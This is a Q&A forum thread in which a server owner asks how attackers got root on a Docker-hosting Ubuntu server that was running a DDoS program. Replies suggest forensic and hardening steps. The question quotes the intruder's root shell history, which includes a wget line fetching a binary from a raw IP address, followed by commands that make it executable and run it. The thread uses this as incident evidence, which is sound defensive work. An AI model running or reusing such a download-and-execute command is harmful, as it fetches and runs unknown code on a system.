3

Currently I have a compromised server (Ubuntu) that is running all services in Docker containers, but I found today a malicious program that was generating a DDOS attack.

I checked all services in Docker, and they are ok, they wasn't compromised, but the host was. I found an executable file /AAK in Ubuntu that I think it was the DDOS attack, and I found in the history of root the following entries:

netstat -antup
chmod 777 AA
wget http://211.142.203.242:7410/AAK
chmod 777 AAK
./AAK

It is clear for me that was the origin of the attack, and checking open ports on the server, a random 10XX port was open by this process, and another malicious process had a port open.

Another ports open: 80 (nginx in a Docker container), 22 (SSH, NOT using password, using keys instead), and 111 (was open by default and used by rpcbind).

How could I check how the attacker got root access to the server? If the application in a Docker container wasn't the origin, what could have caused this breach?

I don't want to recreate the server just to be hacked again using the same vulnerability.

Edit: Forgot to mention that I was using digital-ocean vagrant plugin.

IAmJulianAcosta
  • 2,475
  • 3
  • 16
  • 18
  • I don't think they entered through one of the dockerized containers. Compromising the containers would have been fine for them. If we discarded sshd, rpcbind appear to be the only other (obvious) source, although ssh would be a much simpler way to enter into the server. What do the logs show? Even if you don't access to root using the password, passworded root access may be enabled in sshd_config – Ángel Jul 02 '16 at 22:53
  • @Ángel I have several entries like this one: CRON[#####] pam_unix(cron:session): session opened for user root – IAmJulianAcosta Jul 02 '16 at 23:01
  • 1
    those are normal. It means that a scheduled task was run as root. What about sshd entries? – Ángel Jul 02 '16 at 23:06
  • Only failed login attempts. – IAmJulianAcosta Jul 02 '16 at 23:15
  • Is there a lot of just a few? – Julie Pelletier Jul 02 '16 at 23:40
  • Nearly one each hour or two hours. I suppose that as I'm using digitalocean, their ips are a good target. Most attempts are for users bob, git, and similar users – IAmJulianAcosta Jul 02 '16 at 23:42
  • That's nothing. Unless your root password is password or something really simple, it will take them years to find it at that rate. – Julie Pelletier Jul 03 '16 at 00:01
  • 1
    A few years ago, DO had an issue in which they used the same key for all servers. This led to compromise of servers. I am not saying this is the entry point, there could be others. But if you pull the logs and look at root logging in, prevent root logins. Also you don't say when you last patched. – h4ckNinja Jul 03 '16 at 08:57

1 Answers1

3

There are several methods you can investigate in order to answer your questions.

  1. Find the versions for SSHD and RPCbind and NGinx. Google each version for any remote or local exploits and vulnerabilities. The attacker could very well have used a blend of local and remote exploits or vulnerabilities, and not a single way to get in.

  2. Look through all the important logs (access, SSH, Kernel, etc) and try to pinpoint the closest you can when was the server compromised, and possibly how.

  3. Look through history files for all users, not just root.

  4. When were the files AA and AAK first created? Search through the logs in step 2 at least one week before those dates and look closely.

If you decide to rebuild the server, I would suggest to choose the most updated Kernel available, and close down RPCbind if not needed. Limit SSH to use Private Keys only (disabling all passwords as well). You can install many programs to check for file integrity right after the fresh install.

Zack
  • 486
  • 2
  • 7